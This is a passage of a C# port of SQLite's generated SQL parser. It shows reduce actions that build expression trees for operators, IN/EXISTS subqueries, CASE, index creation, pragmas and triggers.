::= term */\n        case 211: /* escape ::= ESCAPE expr */ //yytestcase(yyruleno==211);\n          //#line 744 \"parse.y\"\n          { yygotominor.yy346 = yymsp[0].minor.yy346; }\n          //#line 2818 \"parse.c\"\n          break;\n        case 184: /* expr ::= LP expr RP */\n          //#line 745 \"parse.y\"\n          { yygotominor.yy346.pExpr = yymsp[-1].minor.yy346.pExpr; spanSet(yygotominor.yy346, yymsp[-2].minor.yy0, yymsp[0].minor.yy0); }\n          //#line 2823 \"parse.c\"\n          break;\n        case 185: /* term ::= NULL */\n        case 190: /* term ::= INTEGER|FLOAT|BLOB */ //yytestcase(yyruleno==190);\n        case 191: /* term ::= STRING */ //yytestcase(yyruleno==191);\n          //#line 746 \"parse.y\"\n          { spanExpr(yygotominor.yy346, pParse, yymsp[0].major, yymsp[0].minor.yy0); }\n          //#line 2830 \"parse.c\"\n          break;\n        case 186: /* expr ::= id */\n        case 187: /* expr ::= JOIN_KW */ //yytestcase(yyruleno==187);\n          //#line 747 \"parse.y\"\n          { spanExpr(yygotominor.yy346, pParse, TK_ID, yymsp[0].minor.yy0); }\n          //#line 2836 \"parse.c\"\n          break;\n        case 188: /* expr ::= nm DOT nm */\n          //#line 749 \"parse.y\"\n          {\n            Expr temp1 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[-2].minor.yy0);\n            Expr temp2 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[0].minor.yy0);\n            yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_DOT, temp1, temp2, 0);\n            spanSet(yygotominor.yy346, yymsp[-2].minor.yy0, yymsp[0].minor.yy0);\n          }\n          //#line 2846 \"parse.c\"\n          break;\n        case 189: /* expr ::= nm DOT nm DOT nm */\n          //#line 755 \"parse.y\"\n          {\n            Expr temp1 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[-4].minor.yy0);\n            Expr temp2 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[-2].minor.yy0);\n            Expr temp3 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[0].minor.yy0);\n            Expr temp4 = sqlite3PExpr(pParse, TK_DOT, temp2, temp3, 0);\n            yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_DOT, temp1, temp4, 0);\n            spanSet(yygotominor.yy346, yymsp[-4].minor.yy0, yymsp[0].minor.yy0);\n          }\n          //#line 2858 \"parse.c\"\n          break;\n        case 192: /* expr ::= REGISTER */\n          //#line 765 \"parse.y\"\n          {\n            /* When doing a nested parse, one can include terms in an expression\n            ** that look like this:   #1 #2 ...  These terms refer to registers\n            ** in the virtual machine.  #N is the N-th register. */\n            if (pParse.nested == 0)\n            {\n              sqlite3ErrorMsg(pParse, \"near \\\"%T\\\": syntax error\", yymsp[0].minor.yy0);\n              yygotominor.yy346.pExpr = null;\n            }\n            else\n            {\n              yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_REGISTER, 0, 0, yymsp[0].minor.yy0);\n              if (yygotominor.yy346.pExpr != null) sqlite3GetInt32(yymsp[0].minor.yy0.z.Substring(1), ref yygotominor.yy346.pExpr.iTable);\n            }\n            spanSet(yygotominor.yy346, yymsp[0].minor.yy0, yymsp[0].minor.yy0);\n          }\n          //#line 2875 \"parse.c\"\n          break;\n        case 193: /* expr ::= VARIABLE */\n          //#line 778 \"parse.y\"\n          {\n            spanExpr(yygotominor.yy346, pParse, TK_VARIABLE, yymsp[0].minor.yy0);\n            sqlite3ExprAssignVarNumber(pParse, yygotominor.yy346.pExpr);\n            spanSet(yygotominor.yy346, yymsp[0].minor.yy0, yymsp[0].minor.yy0);\n          }\n          //#line 2884 \"parse.c\"\n          break;\n        case 194: /* expr ::= expr COLLATE ids */\n          //#line 783 \"parse.y\"\n          {\n            yygotominor.yy346.pExpr = sqlite3ExprSetColl(pParse, yymsp[-2].minor.yy346.pExpr, yymsp[0].minor.yy0);\n            yygotominor.yy346.zStart = yymsp[-2].minor.yy346.zStart;\n            yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n);\n          }\n          //#line 2893 \"parse.c\"\n          break;\n        case 195: /* expr ::= CAST LP expr AS typetoken RP */\n          //#line 789 \"parse.y\"\n          {\n            yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_CAST, yymsp[-3].minor.yy346.pExpr, 0, yymsp[-1].minor.yy0);\n            spanSet(yygotominor.yy346, yymsp[-5].minor.yy0, yymsp[0].minor.yy0);\n          }\n          //#line 2901 \"parse.c\"\n          break;\n        case 196: /* expr ::= ID LP distinct exprlist RP */\n          //#line 794 \"parse.y\"\n          {\n            if (yymsp[-1].minor.yy14 != null && yymsp[-1].minor.yy14.nExpr > pParse.db.aLimit[SQLITE_LIMIT_FUNCTION_ARG])\n            {\n              sqlite3ErrorMsg(pParse, \"too many arguments on function %T\", yymsp[-4].minor.yy0);\n            }\n            yygotominor.yy346.pExpr = sqlite3ExprFunction(pParse, yymsp[-1].minor.yy14, yymsp[-4].minor.yy0);\n            spanSet(yygotominor.yy346, yymsp[-4].minor.yy0, yymsp[0].minor.yy0);\n            if (yymsp[-2].minor.yy328 != 0 && yygotominor.yy346.pExpr != null)\n            {\n              yygotominor.yy346.pExpr.flags |= EP_Distinct;\n            }\n          }\n          //#line 2915 \"parse.c\"\n          break;\n        case 197: /* expr ::= ID LP STAR RP */\n          //#line 804 \"parse.y\"\n          {\n            yygotominor.yy346.pExpr = sqlite3ExprFunction(pParse, 0, yymsp[-3].minor.yy0);\n            spanSet(yygotominor.yy346, yymsp[-3].minor.yy0, yymsp[0].minor.yy0);\n          }\n          //#line 2923 \"parse.c\"\n          break;\n        case 198: /* term ::= CTIME_KW */\n          //#line 808 \"parse.y\"\n          {\n            /* The CURRENT_TIME, CURRENT_DATE, and CURRENT_TIMESTAMP values are\n            ** treated as functions that return constants */\n            yygotominor.yy346.pExpr = sqlite3ExprFunction(pParse, 0, yymsp[0].minor.yy0);\n            if (yygotominor.yy346.pExpr != null)\n            {\n              yygotominor.yy346.pExpr.op = TK_CONST_FUNC;\n            }\n            spanSet(yygotominor.yy346, yymsp[0].minor.yy0, yymsp[0].minor.yy0);\n          }\n          //#line 2936 \"parse.c\"\n          break;\n        case 199: /* expr ::= expr AND expr */\n        case 200: /* expr ::= expr OR expr */ //yytestcase(yyruleno==200);\n        case 201: /* expr ::= expr LT|GT|GE|LE expr */ //yytestcase(yyruleno==201);\n        case 202: /* expr ::= expr EQ|NE expr */ //yytestcase(yyruleno==202);\n        case 203: /* expr ::= expr BITAND|BITOR|LSHIFT|RSHIFT expr */ //yytestcase(yyruleno==203);\n        case 204: /* expr ::= expr PLUS|MINUS expr */ //yytestcase(yyruleno==204);\n        case 205: /* expr ::= expr STAR|SLASH|REM expr */ //yytestcase(yyruleno==205);\n        case 206: /* expr ::= expr CONCAT expr */ //yytestcase(yyruleno==206);\n          //#line 835 \"parse.y\"\n          { spanBinaryExpr(yygotominor.yy346, pParse, yymsp[-1].major, yymsp[-2].minor.yy346, yymsp[0].minor.yy346); }\n          //#line 2948 \"parse.c\"\n          break;\n        case 207: /* likeop ::= LIKE_KW */\n        case 209: /* likeop ::= MATCH */ //yytestcase(yyruleno==209);\n          //#line 848 \"parse.y\"\n          { yygotominor.yy96.eOperator = yymsp[0].minor.yy0; yygotominor.yy96.not = false; }\n          //#line 2954 \"parse.c\"\n          break;\n        case 208: /* likeop ::= NOT LIKE_KW */\n        case 210: /* likeop ::= NOT MATCH */ //yytestcase(yyruleno==210);\n          //#line 849 \"parse.y\"\n          { yygotominor.yy96.eOperator = yymsp[0].minor.yy0; yygotominor.yy96.not = true; }\n          //#line 2960 \"parse.c\"\n          break;\n        case 212: /* escape ::= */\n          //#line 855 \"parse.y\"\n          { yygotominor.yy346 = new ExprSpan(); }// memset( yygotominor.yy346, 0, sizeof( yygotominor.yy346 ) ); \n          //#line 2965 \"parse.c\"\n          break;\n        case 213: /* expr ::= expr likeop expr escape */\n          //#line 856 \"parse.y\"\n          {\n            ExprList pList;\n            pList = sqlite3ExprListAppend(pParse, 0, yymsp[-1].minor.yy346.pExpr);\n            pList = sqlite3ExprListAppend(pParse, pList, yymsp[-3].minor.yy346.pExpr);\n            if (yymsp[0].minor.yy346.pExpr != null)\n            {\n              pList = sqlite3ExprListAppend(pParse, pList, yymsp[0].minor.yy346.pExpr);\n            }\n            yygotominor.yy346.pExpr = sqlite3ExprFunction(pParse, pList, yymsp[-2].minor.yy96.eOperator);\n            if (yymsp[-2].minor.yy96.not) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0);\n            yygotominor.yy346.zStart = yymsp[-3].minor.yy346.zStart;\n            yygotominor.yy346.zEnd = yymsp[-1].minor.yy346.zEnd;\n            if (yygotominor.yy346.pExpr != null) yygotominor.yy346.pExpr.flags |= EP_InfixFunc;\n          }\n          //#line 2982 \"parse.c\"\n          break;\n        case 214: /* expr ::= expr ISNULL|NOTNULL */\n          //#line 886 \"parse.y\"\n          { spanUnaryPostfix(yygotominor.yy346, pParse, yymsp[0].major, yymsp[-1].minor.yy346, yymsp[0].minor.yy0); }\n          //#line 2987 \"parse.c\"\n          break;\n        case 215: /* expr ::= expr IS NULL */\n          //#line 887 \"parse.y\"\n          { spanUnaryPostfix(yygotominor.yy346, pParse, TK_ISNULL, yymsp[-2].minor.yy346, yymsp[0].minor.yy0); }\n          //#line 2992 \"parse.c\"\n          break;\n        case 216: /* expr ::= expr NOT NULL */\n          //#line 888 \"parse.y\"\n          { spanUnaryPostfix(yygotominor.yy346, pParse, TK_NOTNULL, yymsp[-2].minor.yy346, yymsp[0].minor.yy0); }\n          //#line 2997 \"parse.c\"\n          break;\n        case 217: /* expr ::= expr IS NOT NULL */\n          //#line 890 \"parse.y\"\n          { spanUnaryPostfix(yygotominor.yy346, pParse, TK_NOTNULL, yymsp[-3].minor.yy346, yymsp[0].minor.yy0); }\n          //#line 3002 \"parse.c\"\n          break;\n        case 218: /* expr ::= NOT expr */\n        case 219: /* expr ::= BITNOT expr */ //yytestcase(yyruleno==219);\n          //#line 910 \"parse.y\"\n          { spanUnaryPrefix(yygotominor.yy346, pParse, yymsp[-1].major, yymsp[0].minor.yy346, yymsp[-1].minor.yy0); }\n          //#line 3008 \"parse.c\"\n          break;\n        case 220: /* expr ::= MINUS expr */\n          //#line 913 \"parse.y\"\n          { spanUnaryPrefix(yygotominor.yy346, pParse, TK_UMINUS, yymsp[0].minor.yy346, yymsp[-1].minor.yy0); }\n          //#line 3013 \"parse.c\"\n          break;\n        case 221: /* expr ::= PLUS expr */\n          //#line 915 \"parse.y\"\n          { spanUnaryPrefix(yygotominor.yy346, pParse, TK_UPLUS, yymsp[0].minor.yy346, yymsp[-1].minor.yy0); }\n          //#line 3018 \"parse.c\"\n          break;\n        case 224: /* expr ::= expr between_op expr AND expr */\n          //#line 920 \"parse.y\"\n          {\n            ExprList pList = sqlite3ExprListAppend(pParse, 0, yymsp[-2].minor.yy346.pExpr);\n            pList = sqlite3ExprListAppend(pParse, pList, yymsp[0].minor.yy346.pExpr);\n            yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_BETWEEN, yymsp[-4].minor.yy346.pExpr, 0, 0);\n            if (yygotominor.yy346.pExpr != null)\n            {\n              yygotominor.yy346.pExpr.x.pList = pList;\n            }\n            else\n            {\n              sqlite3ExprListDelete(pParse.db, ref pList);\n            }\n            if (yymsp[-3].minor.yy328 != 0) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0);\n            yygotominor.yy346.zStart = yymsp[-4].minor.yy346.zStart;\n            yygotominor.yy346.zEnd = yymsp[0].minor.yy346.zEnd;\n          }\n          //#line 3035 \"parse.c\"\n          break;\n        case 227: /* expr ::= expr in_op LP exprlist RP */\n          //#line 937 \"parse.y\"\n          {\n            yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_IN, yymsp[-4].minor.yy346.pExpr, 0, 0);\n            if (yygotominor.yy346.pExpr != null)\n            {\n              yygotominor.yy346.pExpr.x.pList = yymsp[-1].minor.yy14;\n              sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr);\n            }\n            else\n            {\n              sqlite3ExprListDelete(pParse.db, ref yymsp[-1].minor.yy14);\n            }\n            if (yymsp[-3].minor.yy328 != 0) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0);\n            yygotominor.yy346.zStart = yymsp[-4].minor.yy346.zStart;\n            yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n);\n          }\n          //#line 3051 \"parse.c\"\n          break;\n        case 228: /* expr ::= LP select RP */\n          //#line 949 \"parse.y\"\n          {\n            yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_SELECT, 0, 0, 0);\n            if (yygotominor.yy346.pExpr != null)\n            {\n              yygotominor.yy346.pExpr.x.pSelect = yymsp[-1].minor.yy3;\n              ExprSetProperty(yygotominor.yy346.pExpr, EP_xIsSelect);\n              sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr);\n            }\n            else\n            {\n              sqlite3SelectDelete(pParse.db, ref yymsp[-1].minor.yy3);\n            }\n            yygotominor.yy346.zStart = yymsp[-2].minor.yy0.z;\n            yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n);\n          }\n          //#line 3067 \"parse.c\"\n          break;\n        case 229: /* expr ::= expr in_op LP select RP */\n          //#line 961 \"parse.y\"\n          {\n            yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_IN, yymsp[-4].minor.yy346.pExpr, 0, 0);\n            if (yygotominor.yy346.pExpr != null)\n            {\n              yygotominor.yy346.pExpr.x.pSelect = yymsp[-1].minor.yy3;\n              ExprSetProperty(yygotominor.yy346.pExpr, EP_xIsSelect);\n              sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr);\n            }\n            else\n            {\n              sqlite3SelectDelete(pParse.db, ref yymsp[-1].minor.yy3);\n            }\n            if (yymsp[-3].minor.yy328 != 0) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0);\n            yygotominor.yy346.zStart = yymsp[-4].minor.yy346.zStart;\n            yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n);\n          }\n          //#line 3084 \"parse.c\"\n          break;\n        case 230: /* expr ::= expr in_op nm dbnm */\n          //#line 974 \"parse.y\"\n          {\n            SrcList pSrc = sqlite3SrcListAppend(pParse.db, 0, yymsp[-1].minor.yy0, yymsp[0].minor.yy0);\n            yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_IN, yymsp[-3].minor.yy346.pExpr, 0, 0);\n            if (yygotominor.yy346.pExpr != null)\n            {\n              yygotominor.yy346.pExpr.x.pSelect = sqlite3SelectNew(pParse, 0, pSrc, 0, 0, 0, 0, 0, 0, 0);\n              ExprSetProperty(yygotominor.yy346.pExpr, EP_xIsSelect);\n              sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr);\n            }\n            else\n            {\n              sqlite3SrcListDelete(pParse.db, ref pSrc);\n            }\n            if (yymsp[-2].minor.yy328 != 0) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0);\n            yygotominor.yy346.zStart = yymsp[-3].minor.yy346.zStart;\n            yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z != null ? yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n) : yymsp[-1].minor.yy0.z.Substring(yymsp[-1].minor.yy0.n);\n          }\n          //#line 3102 \"parse.c\"\n          break;\n        case 231: /* expr ::= EXISTS LP select RP */\n          //#line 988 \"parse.y\"\n          {\n            Expr p = yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_EXISTS, 0, 0, 0);\n            if (p != null)\n            {\n              p.x.pSelect = yymsp[-1].minor.yy3;\n              ExprSetProperty(p, EP_xIsSelect);\n              sqlite3ExprSetHeight(pParse, p);\n            }\n            else\n            {\n              sqlite3SelectDelete(pParse.db, ref yymsp[-1].minor.yy3);\n            }\n            yygotominor.yy346.zStart = yymsp[-3].minor.yy0.z;\n            yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n);\n          }\n          //#line 3118 \"parse.c\"\n          break;\n        case 232: /* expr ::= CASE case_operand case_exprlist case_else END */\n          //#line 1003 \"parse.y\"\n          {\n            yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_CASE, yymsp[-3].minor.yy132, yymsp[-1].minor.yy132, 0);\n            if (yygotominor.yy346.pExpr != null)\n            {\n              yygotominor.yy346.pExpr.x.pList = yymsp[-2].minor.yy14;\n              sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr);\n            }\n            else\n            {\n              sqlite3ExprListDelete(pParse.db, ref yymsp[-2].minor.yy14);\n            }\n            yygotominor.yy346.zStart = yymsp[-4].minor.yy0.z;\n            yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n);\n          }\n          //#line 3133 \"parse.c\"\n          break;\n        case 233: /* case_exprlist ::= case_exprlist WHEN expr THEN expr */\n          //#line 1016 \"parse.y\"\n          {\n            yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-4].minor.yy14, yymsp[-2].minor.yy346.pExpr);\n            yygotominor.yy14 = sqlite3ExprListAppend(pParse, yygotominor.yy14, yymsp[0].minor.yy346.pExpr);\n          }\n          //#line 3141 \"parse.c\"\n          break;\n        case 234: /* case_exprlist ::= WHEN expr THEN expr */\n          //#line 1020 \"parse.y\"\n          {\n            yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, yymsp[-2].minor.yy346.pExpr);\n            yygotominor.yy14 = sqlite3ExprListAppend(pParse, yygotominor.yy14, yymsp[0].minor.yy346.pExpr);\n          }\n          //#line 3149 \"parse.c\"\n          break;\n        case 243: /* cmd ::= createkw uniqueflag INDEX ifnotexists nm dbnm ON nm LP idxlist RP */\n          //#line 1049 \"parse.y\"\n          {\n            sqlite3CreateIndex(pParse, yymsp[-6].minor.yy0, yymsp[-5].minor.yy0,\n            sqlite3SrcListAppend(pParse.db, 0, yymsp[-3].minor.yy0, 0), yymsp[-1].minor.yy14, yymsp[-9].minor.yy328,\n            yymsp[-10].minor.yy0, yymsp[0].minor.yy0, SQLITE_SO_ASC, yymsp[-7].minor.yy328);\n          }\n          //#line 3158 \"parse.c\"\n          break;\n        case 244: /* uniqueflag ::= UNIQUE */\n        case 298: /* raisetype ::= ABORT */ //yytestcase(yyruleno==298);\n          //#line 1056 \"parse.y\"\n          { yygotominor.yy328 = OE_Abort; }\n          //#line 3164 \"parse.c\"\n          break;\n        case 245: /* uniqueflag ::= */\n          //#line 1057 \"parse.y\"\n          { yygotominor.yy328 = OE_None; }\n          //#line 3169 \"parse.c\"\n          break;\n        case 248: /* idxlist ::= idxlist COMMA nm collate sortorder */\n          //#line 1066 \"parse.y\"\n          {\n            Expr p = null;\n            if (yymsp[-1].minor.yy0.n > 0)\n            {\n              p = sqlite3Expr(pParse.db, TK_COLUMN, null);\n              sqlite3ExprSetColl(pParse, p, yymsp[-1].minor.yy0);\n            }\n            yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-4].minor.yy14, p);\n            sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[-2].minor.yy0, 1);\n            sqlite3ExprListCheckLength(pParse, yygotominor.yy14, \"index\");\n            if (yygotominor.yy14 != null) yygotominor.yy14.a[yygotominor.yy14.nExpr - 1].sortOrder = (u8)yymsp[0].minor.yy328;\n          }\n          //#line 3184 \"parse.c\"\n          break;\n        case 249: /* idxlist ::= nm collate sortorder */\n          //#line 1077 \"parse.y\"\n          {\n            Expr p = null;\n            if (yymsp[-1].minor.yy0.n > 0)\n            {\n              p = sqlite3PExpr(pParse, TK_COLUMN, 0, 0, 0);\n              sqlite3ExprSetColl(pParse, p, yymsp[-1].minor.yy0);\n            }\n            yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, p);\n            sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[-2].minor.yy0, 1);\n            sqlite3ExprListCheckLength(pParse, yygotominor.yy14, \"index\");\n            if (yygotominor.yy14 != null) yygotominor.yy14.a[yygotominor.yy14.nExpr - 1].sortOrder = (u8)yymsp[0].minor.yy328;\n          }\n          //#line 3199 \"parse.c\"\n          break;\n        case 250: /* collate ::= */\n          //#line 1090 \"parse.y\"\n          { yygotominor.yy0.z = null; yygotominor.yy0.n = 0; }\n          //#line 3204 \"parse.c\"\n          break;\n        case 252: /* cmd ::= DROP INDEX ifexists fullname */\n          //#line 1096 \"parse.y\"\n          { sqlite3DropIndex(pParse, yymsp[0].minor.yy65, yymsp[-1].minor.yy328); }\n          //#line 3209 \"parse.c\"\n          break;\n        case 253: /* cmd ::= VACUUM */\n        case 254: /* cmd ::= VACUUM nm */ //yytestcase(yyruleno==254);\n          //#line 1102 \"parse.y\"\n          { sqlite3Vacuum(pParse); }\n          //#line 3215 \"parse.c\"\n          break;\n        case 255: /* cmd ::= PRAGMA nm dbnm */\n          //#line 1110 \"parse.y\"\n          { sqlite3Pragma(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0, 0, 0); }\n          //#line 3220 \"parse.c\"\n          break;\n        case 256: /* cmd ::= PRAGMA nm dbnm EQ nmnum */\n          //#line 1111 \"parse.y\"\n          { sqlite3Pragma(pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy0, 0); }\n          //#line 3225 \"parse.c\"\n          break;\n        case 257: /* cmd ::= PRAGMA nm dbnm LP nmnum RP */\n          //#line 1112 \"parse.y\"\n          { sqlite3Pragma(pParse, yymsp[-4].minor.yy0, yymsp[-3].minor.yy0, yymsp[-1].minor.yy0, 0); }\n          //#line 3230 \"parse.c\"\n          break;\n        case 258: /* cmd ::= PRAGMA nm dbnm EQ minus_num */\n          //#line 1114 \"parse.y\"\n          { sqlite3Pragma(pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy0, 1); }\n          //#line 3235 \"parse.c\"\n          break;\n        case 259: /* cmd ::= PRAGMA nm dbnm LP minus_num RP */\n          //#line 1116 \"parse.y\"\n          { sqlite3Pragma(pParse, yymsp[-4].minor.yy0, yymsp[-3].minor.yy0, yymsp[-1].minor.yy0, 1); }\n          //#line 3240 \"parse.c\"\n          break;\n        case 270: /* cmd ::= createkw trigger_decl BEGIN trigger_cmd_list END */\n          //#line 1134 \"parse.y\"\n          {\n            Token all = new Token();\n            //all.z = yymsp[-3].minor.yy0.z;\n            //all.n = (int)(yymsp[0].minor.yy0.z - yymsp[-3].minor.yy0.z) + yymsp[0].minor.yy0.n;\n            all.n = (int)(yymsp[-3].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length) + yymsp[0].minor.yy0.n;\n            all.z = yymsp[-3].minor.yy0.z.Substring(0, all.n);\n            sqlite3FinishTrigger(pParse, yymsp[-1].minor.yy473, all);\n          }\n          //#line 3250 \"parse.c\"\n          break;\n        case 271: /* trigger_decl ::= temp TRIGGER ifnotexists nm dbnm trigger_time trigger_event ON fullname foreach_clause when_clause */\n          //#line 1143 \"parse.y\"\n          {\n            sqlite3BeginTrigger(pParse, yymsp[-7].minor.yy0, yymsp[-6].minor.yy0, yymsp[-5].minor.yy328, yymsp[-4].minor.yy378.a, yymsp[-4].minor.yy378.b, yymsp[-2].minor.yy65, yymsp[0].minor.yy132, yymsp[-10].minor.yy328, yymsp[-8].minor.yy328);\n            yygotominor.yy0 = (yymsp[-6].minor.yy0.n == 0 ? yymsp[-7].minor.yy0 : yymsp[-6].minor.yy0);\n          }\n          //#line 3258 \"parse.c\"\n          break;\n        case 272: /* trigger_time ::= BEFORE */\n        case 275: /* trigger_time ::= */ //yytestcase(yyruleno==275);\n          //#line 1149 \"parse.y\"\n          { yygotominor.yy328 = TK_BEFORE; }\n          //#line 3264 \"parse.c\"\n          break;\n        case 273: /* trigger_time ::= AFTER */\n          //#line 1150 \"parse.y\"\n          { yygotominor.yy328 = TK_AFTER; }\n          //#line 3269 \"parse.c\"\n          break;\n        case 274: /* trigger_time ::= INSTEAD OF */\n          //#line 1151 \"parse.y\"\n          { yygotominor.yy328 = TK_INSTEAD; }\n          //#line 3274 \"parse.c\"\n          break;\n        case 276: /* trigger_event ::= DELETE|INSERT */\n        case 277: /* trigger_event ::= UPDATE */ //yytestcase(yyruleno==277);\n          //#line 1156 \"parse.y\"\n          { yygotominor.yy378.a = yymsp[0].major; yygotominor.yy378.b = null; }\n          //#line 3280 \"parse.c\"\n          break;\n        case 278: /* trigger_event ::= UPDATE OF inscollist */\n          //#line 1158 \"parse.y\"\n          { yygotominor.yy378.a = TK_UPDATE; yygotominor.yy378.b = yymsp[0].minor.yy408; }\n          //#line 3285 \"parse.c\"\n          break;\n        case 281: /* when_clause ::= */\n        case 303: /* key_opt ::= */ //yytestcase(yyruleno==303);\n          //#line 1165 \"parse.y\"\n          { yygotominor.yy132 = null; }\n          //#line 3291 \"parse.c\"\n          break;\n        case 282: /* when_clause ::= WHEN expr */\n        case 304: /* key_opt ::= KEY expr */ //yytestcase(yyruleno==304);\n          //#line 1166 \"parse.y\"\n          { yygotominor.yy132 = yymsp[0].minor.yy346.pExpr; }\n          //#line 3297 \"parse.c\"\n          break;\n        case 283: /* trigger_cmd_list ::= trigger_cmd_list trigger_cmd SEMI */\n          //#line 1170 \"parse.y\"\n          {\n            Debug.Assert(yymsp[-2].minor.yy473 != null);\n            yymsp[-2].minor.yy473.pLast.pNext = yymsp[-1].minor.yy473;\n            yymsp[-2].minor.yy473.pLast = yymsp[-1].minor.yy473;\n            yygotominor.yy473 = yymsp[-2].minor.yy473;\n          }\n          //#line 3307 \"parse.c\"\n          break;\n        case 284: /* trigger_cmd_list ::= trigger_cmd SEMI */\n          //#line 1176 \"parse.y\"\n          {\n            Debug.Assert(yymsp[-1].minor.yy473 != null);\n            yymsp[-1].minor.yy473.pLast = yymsp[-1].minor.yy473;\n            yygotominor.yy473 = yymsp[-1].minor.yy473;\n          }\n          //#line 3316 \"parse.c\"\n          break;\n        case 286: /* trnm ::= nm DOT nm */\n          //#line 1188 \"parse.y\"\n          {\n            yygotominor.yy0 = yymsp[0].minor.yy0;\n            sqlite3ErrorMsg(pParse,\n            \"qualified table names are not allowed on INSERT, UPDATE, and DELETE \" +\n            \"statements within triggers\");\n          }\n          //#line 3326 \"parse.c\"\n          break;\n        case 288: /* tridxby ::= INDEXED BY nm */\n          //#line 1200 \"parse.y\"\n          {\n            sqlite3ErrorMsg(pParse,\n            \"the INDEXED BY clause is not allowed on UPDATE or DELETE statements \" +\n            \"within triggers\");\n          }\n          //#line 3335 \"parse.c\"\n          break;\n        case 289: /* tridxby ::= NOT INDEXED */\n          //#line 1205 \"parse.y\"\n          {\n            sqlite3ErrorMsg(pParse,\n            \"the NOT INDEXED clause is not allowed on UPDATE or DELETE statements \" +\n            \"within triggers\");\n          }\n          //#line 3344 \"parse.c\"\n          break;\n        case 290: /* trigger_cmd ::= UPDATE orconf trnm tridxby SET setlist where_opt */\n          //#line 1218 \"parse.y\"\n          { yygotominor.yy473 = sqlite3TriggerUpdateStep(pParse.db, yymsp[-4].minor.yy0, yymsp[-1].minor.yy14, yymsp[0].minor.yy132, yymsp[-5].minor.yy186); }\n          //#line 3349 \"parse.c\"\n          break;\n        case 291: /* trigger_cmd ::= insert_cmd INTO trnm inscollist_opt VALUES LP itemlist RP */\n          //#line 1223 \"parse.y\"\n          { yygotominor.yy473 = sqlite3TriggerInsertStep(pParse.db, yymsp[-5].minor.yy0, yymsp[-4].minor.yy408, yymsp[-1].minor.yy14, 0, yymsp[-7].minor.yy186); }\n          //#line 3354 \"parse.c\"\n          break;\n        case 292: /* trigger_cmd ::= insert_cmd INTO trnm inscollist_opt select */\n          //#line 1226 \"parse.y\"\n          { yygotominor.yy473 = sqlite3TriggerInsertStep(pParse.db, yymsp[-2].minor.yy0, yymsp[-1].minor.yy408, 0, yymsp[0].minor.yy3, yymsp[-4].minor.yy186); }\n          //#line 3359 \"parse.c\"\n          break;\n        case 293: /* trigger_cmd ::= DELETE FROM trnm tridxby where_opt */\n          //#line 1230 \"parse.y\"\n          { yygotominor.yy473 = sqlite3TriggerDeleteStep(pParse.db, yymsp[-2].minor.yy0, yymsp[0].minor.yy132); }\n          //#line 3364 \"parse.c\"\n          break;\n        case 294: /* trigger_cmd ::= select */\n          //#line 1233 \"parse.y\"\n          { yygotominor.yy473 = sqlite3TriggerSelectStep(pParse.db, yymsp[0].minor.yy3); }\n          //#line 3369 \"parse.c\"\n          break;\n        case 295: /* expr ::= RAISE LP IGNORE RP */\n          //#line 1236 \"parse.y\"\n          {\n            yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_RAISE, 0, 0, 0);\n            if (yygotominor.yy346.pExpr != null)\n            {\n              yygotominor.yy346.pExpr.affinity = (char)OE_Ignore;\n            }\n            yygotominor.yy346.zStart = yymsp[-3].minor.yy0.z;\n            yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n);\n          }\n          //#line 3381 \"parse.c\"\n          break;\n        case 296: /* expr ::= RAISE LP raisetype COMMA nm RP */\n          //#line 1244 \"parse.y\"\n          {\n            yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_RAISE, 0, 0, yymsp[-1].minor.yy0);\n            if (yygotominor.yy346.pExpr != null)\n            {\n              